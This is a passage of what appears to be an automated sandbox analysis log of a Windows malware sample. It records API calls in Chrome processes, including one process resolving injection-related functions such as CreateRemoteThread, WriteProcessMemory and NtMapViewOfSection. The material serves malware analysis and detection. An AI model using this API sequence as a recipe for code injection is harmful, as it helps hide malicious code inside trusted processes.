(dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{70017650-0FA6-225C-19A4-B3765D18970A}") returned 0x10c [0072.348] OpenMutexA (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Local\\{A3415127-A63A-CD11-C887-3A517CAB0E15}") returned 0x110 [0072.348] SetLastError (dwErrCode=0xb7) [0072.348] WaitForMultipleObjects (nCount=0x2, lpHandles=0x2b5fa98*=0xa8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0095.927] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}") returned 0x608 [0095.927] WaitForMultipleObjects (nCount=0x2, lpHandles=0x2b5fa98*=0xa8, bWaitAll=0, dwMilliseconds=0xffffffff) Thread: id = 101 os_tid = 0x810 Thread: id = 114 os_tid = 0x850 Thread: id = 115 os_tid = 0x8a0 Thread: id = 116 os_tid = 0x860 Thread: id = 117 os_tid = 0x34c Thread: id = 118 os_tid = 0x55c Thread: id = 119 os_tid = 0x41c Thread: id = 120 os_tid = 0x8ec Thread: id = 166 os_tid = 0x90c Thread: id = 167 os_tid = 0x914 Thread: id = 168 os_tid = 0x918 Thread: id = 169 os_tid = 0x31c Thread: id = 170 os_tid = 0x910 Thread: id = 171 os_tid = 0x908 Thread: id = 172 os_tid = 0x904 Thread: id = 173 os_tid = 0x900 Thread: id = 174 os_tid = 0x8fc [0106.027] CreateProcessAsUserW (in: hToken=0x744, lpApplicationName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpCommandLine="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" --type=renderer --field-trial-handle=1828 --primordial-pipe-token=81515CCF193213A99DEAFFE42147615A --lang=de --instant-process --enable-offline-auto-reload --enable-offline-auto-reload-visible-only --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553 --disable-accelerated-video-decode --disable-webrtc-hw-vp8-encoding --disable-gpu-compositing --service-request-channel-token=81515CCF193213A99DEAFFE42147615A --renderer-client-id=3 --mojo-platform-channel-handle=1848 /prefetch:1", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x108040c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x8a4e990*(cb=0x70, lpReserved=0x0, lpDesktop="Service-0x0-e92f$\\sbox_alternate_desktop_0xB70", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffffffffffff, hStdOutput=0xffffffffffffffff, hStdError=0xffffffffffffffff), lpProcessInformation=0x8a4e7d0 | out: lpCommandLine="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" --type=renderer --field-trial-handle=1828 --primordial-pipe-token=81515CCF193213A99DEAFFE42147615A --lang=de --instant-process --enable-offline-auto-reload --enable-offline-auto-reload-visible-only --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553 --disable-accelerated-video-decode --disable-webrtc-hw-vp8-encoding --disable-gpu-compositing --service-request-channel-token=81515CCF193213A99DEAFFE42147615A --renderer-client-id=3 --mojo-platform-channel-handle=1848 /prefetch:1", lpProcessInformation=0x8a4e7d0*(hProcess=0x75c, hThread=0x750, dwProcessId=0x9fc, dwThreadId=0x9f0)) returned 1 [0106.030] StrStrIW (lpFirst="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" --type=renderer --field-trial-handle=1828 --primordial-pipe-token=81515CCF193213A99DEAFFE42147615A --lang=de --instant-process --enable-offline-auto-reload --enable-offline-auto-reload-visible-only --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553 --disable-accelerated-video-decode --disable-webrtc-hw-vp8-encoding --disable-gpu-compositing --service-request-channel-token=81515CCF193213A99DEAFFE42147615A --renderer-client-id=3 --mojo-platform-channel-handle=1848 /prefetch:1", lpSrch=" --type=renderer") returned=" --type=renderer --field-trial-handle=1828 --primordial-pipe-token=81515CCF193213A99DEAFFE42147615A --lang=de --instant-process --enable-offline-auto-reload --enable-offline-auto-reload-visible-only --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553 --disable-accelerated-video-decode --disable-webrtc-hw-vp8-encoding --disable-gpu-compositing --service-request-channel-token=81515CCF193213A99DEAFFE42147615A --renderer-client-id=3 --mojo-platform-channel-handle=1848 /prefetch:1" [0106.030] ResumeThread (hThread=0x750) returned 0x1 Thread: id = 175 os_tid = 0x8f8 Thread: id = 176 os_tid = 0x8f4 Thread: id = 177 os_tid = 0x8f0 Thread: id = 178 os_tid = 0x924 Thread: id = 179 os_tid = 0x930 Thread: id = 180 os_tid = 0x848 Thread: id = 181 os_tid = 0x934 Thread: id = 182 os_tid = 0x844 [0088.676] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0088.704] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\wlanapi.dll", hFile=0x0, dwFlags=0x8) returned 0x7fef42a0000 [0088.712] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 Thread: id = 183 os_tid = 0x838 Thread: id = 184 os_tid = 0x83c Thread: id = 185 os_tid = 0x840 Thread: id = 194 os_tid = 0x940 [0090.711] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0090.711] LoadLibraryExW (lpLibFileName="api-ms-win-security-systemfunctions-l1-1-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0090.712] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0090.712] LoadLibraryExW (lpLibFileName="advapi32", hFile=0x0, dwFlags=0x800) returned 0x0 [0090.712] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0090.712] LoadLibraryExW (lpLibFileName="advapi32", hFile=0x0, dwFlags=0x0) returned 0x7fefd710000 [0090.712] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 Thread: id = 198 os_tid = 0x43c Thread: id = 203 os_tid = 0x5fc Thread: id = 204 os_tid = 0x580 Thread: id = 205 os_tid = 0x21c Thread: id = 206 os_tid = 0x468 Thread: id = 207 os_tid = 0x584 Thread: id = 211 os_tid = 0x7e8 Thread: id = 258 os_tid = 0x9f8 Process: id = "8" image_name = "chrome.exe" filename = "c:\\program files (x86)\\google\\chrome\\application\\chrome.exe" page_root = "0x64e40000" os_pid = "0xb90" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xb70" cmd_line = "\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler \"--database=C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\" \"--metrics-dir=C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=59.0.3071.115 --initial-client-data=0x11c,0x120,0x124,0x118,0x128,0x7fef4b319d0,0x7fef4b319b8,0x7fef4b319e8 --use-spdy=off" cur_dir = "C:\\Program Files (x86)\\Google\\Chrome\\Application\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 63 os_tid = 0xb94 [0073.161] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="ntdll.dll", BaseAddress=0x23eff8 | out: BaseAddress=0x23eff8*=0x77160000) returned 0x0 [0073.162] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="ZwOpenProcess", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771b1570) returned 0x0 [0073.162] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="ZwQueryInformationToken", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771b1520) returned 0x0 [0073.162] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="ZwClose", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771b1400) returned 0x0 [0073.162] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="NtUnmapViewOfSection", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771b15b0) returned 0x0 [0073.162] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="NtMapViewOfSection", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771b1590) returned 0x0 [0073.162] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="NtCreateSection", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771b17b0) returned 0x0 [0073.162] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlRandomEx", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7719dce0) returned 0x0 [0073.162] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="NtQuerySystemInformation", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771b1670) returned 0x0 [0073.162] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlNtStatusToDosError", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771b5110) returned 0x0 [0073.162] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="ZwQueryInformationProcess", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771b14a0) returned 0x0 [0073.162] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="memcmp", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771aea60) returned 0x0 [0073.162] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="_strupr", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771e8fdc) returned 0x0 [0073.162] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="_wcsupr", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771e9560) returned 0x0 [0073.162] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="memmove", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771ae6d0) returned 0x0 [0073.163] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="bsearch", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771b7df4) returned 0x0 [0073.163] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="_vsnwprintf", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77190880) returned 0x0 [0073.163] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="_strlwr", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771e8fb0) returned 0x0 [0073.163] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="atoi", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771665e4) returned 0x0 [0073.163] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="strstr", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771eac00) returned 0x0 [0073.163] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="wcscpy", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771eb380) returned 0x0 [0073.163] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlFreeUnicodeString", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771b5610) returned 0x0 [0073.163] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="ZwQueryKey", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771b1470) returned 0x0 [0073.163] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlUpcaseUnicodeString", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7718ce40) returned 0x0 [0073.163] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="sprintf", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771ea738) returned 0x0 [0073.163] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="_snprintf", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771e8ae0) returned 0x0 [0073.163] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="memset", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771b2ed0) returned 0x0 [0073.164] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlAdjustPrivilege", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7716a7f0) returned 0x0 [0073.164] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="mbstowcs", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771ea670) returned 0x0 [0073.164] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="strcpy", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771af9f0) returned 0x0 [0073.164] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="memcpy", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771ae6d0) returned 0x0 [0073.164] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlImageDirectoryEntryToData", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77190950) returned 0x0 [0073.164] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlImageNtHeader", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7718ecb0) returned 0x0 [0073.164] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="ZwOpenProcessToken", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771b22d0) returned 0x0 [0073.164] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="__C_specific_handler", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7717850c) returned 0x0 [0073.164] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="__chkstk", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771b0dd0) returned 0x0 [0073.164] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="KERNEL32.dll", BaseAddress=0x23eff8 | out: BaseAddress=0x23eff8*=0x77040000) returned 0x0 [0073.164] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="VirtualQueryEx", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7708bb60) returned 0x0 [0073.164] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateRemoteThread", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7708c4f0) returned 0x0 [0073.165] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetModuleFileNameW", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77057700) returned 0x0 [0073.165] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FileTimeToSystemTime", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7704af20) returned 0x0 [0073.165] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetLocalTime", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7704b990) returned 0x0 [0073.165] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="OpenProcess", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7705cad0) returned 0x0 [0073.165] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetVersion", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770501d0) returned 0x0 [0073.165] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ExitThread", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771a6930) returned 0x0 [0073.165] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetTempFileNameA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770a1ee0) returned 0x0 [0073.165] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77042ef0) returned 0x0 [0073.165] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="VirtualFree", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77051260) returned 0x0 [0073.165] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetSystemInfo", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77056f70) returned 0x0 [0073.165] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="DeleteCriticalSection", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77185350) returned 0x0 [0073.165] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CloseHandle", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77062f80) returned 0x0 [0073.165] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateFileMappingA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7704ead0) returned 0x0 [0073.165] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="WriteProcessMemory", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7708bad0) returned 0x0 [0073.165] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateFileA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770631f0) returned 0x0 [0073.166] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcmpA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770a1230) returned 0x0 [0073.166] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="MapViewOfFile", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7704e390) returned 0x0 [0073.166] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="UnmapViewOfFile", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77063580) returned 0x0 [0073.166] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetModuleFileNameA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770564a0) returned 0x0 [0073.166] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcmpiA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770440a0) returned 0x0 [0073.166] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetModuleHandleA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770565e0) returned 0x0 [0073.166] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="Sleep", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77062b70) returned 0x0 [0073.166] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77057070) returned 0x0 [0073.166] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetCurrentProcess", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77055cf0) returned 0x0 [0073.166] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GlobalUnlock", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7708e570) returned 0x0 [0073.166] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="HeapAlloc", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771b33a0) returned 0x0 [0073.166] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcpyA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7708e160) returned 0x0 [0073.166] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GlobalLock", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7708e760) returned 0x0 [0073.166] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrlenA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7705caf0) returned 0x0 [0073.166] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="WriteFile", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770635a0) returned 0x0 [0073.166] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateDirectoryA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7708c5b0) returned 0x0 [0073.167] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetLastError", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77062dd0) returned 0x0 [0073.167] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="HeapFree", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77063070) returned 0x0 [0073.167] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="RemoveDirectoryA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7708bdb0) returned 0x0 [0073.167] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="DeleteFileA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770514e0) returned 0x0 [0073.167] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcatA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7708e110) returned 0x0 [0073.167] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetTickCount", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77062b00) returned 0x0 [0073.167] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="HeapDestroy", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77051490) returned 0x0 [0073.167] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="HeapCreate", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770570e0) returned 0x0 [0073.167] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SetEvent", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77053f00) returned 0x0 [0073.167] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="HeapReAlloc", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77193f20) returned 0x0 [0073.167] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FindFirstFileW", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: 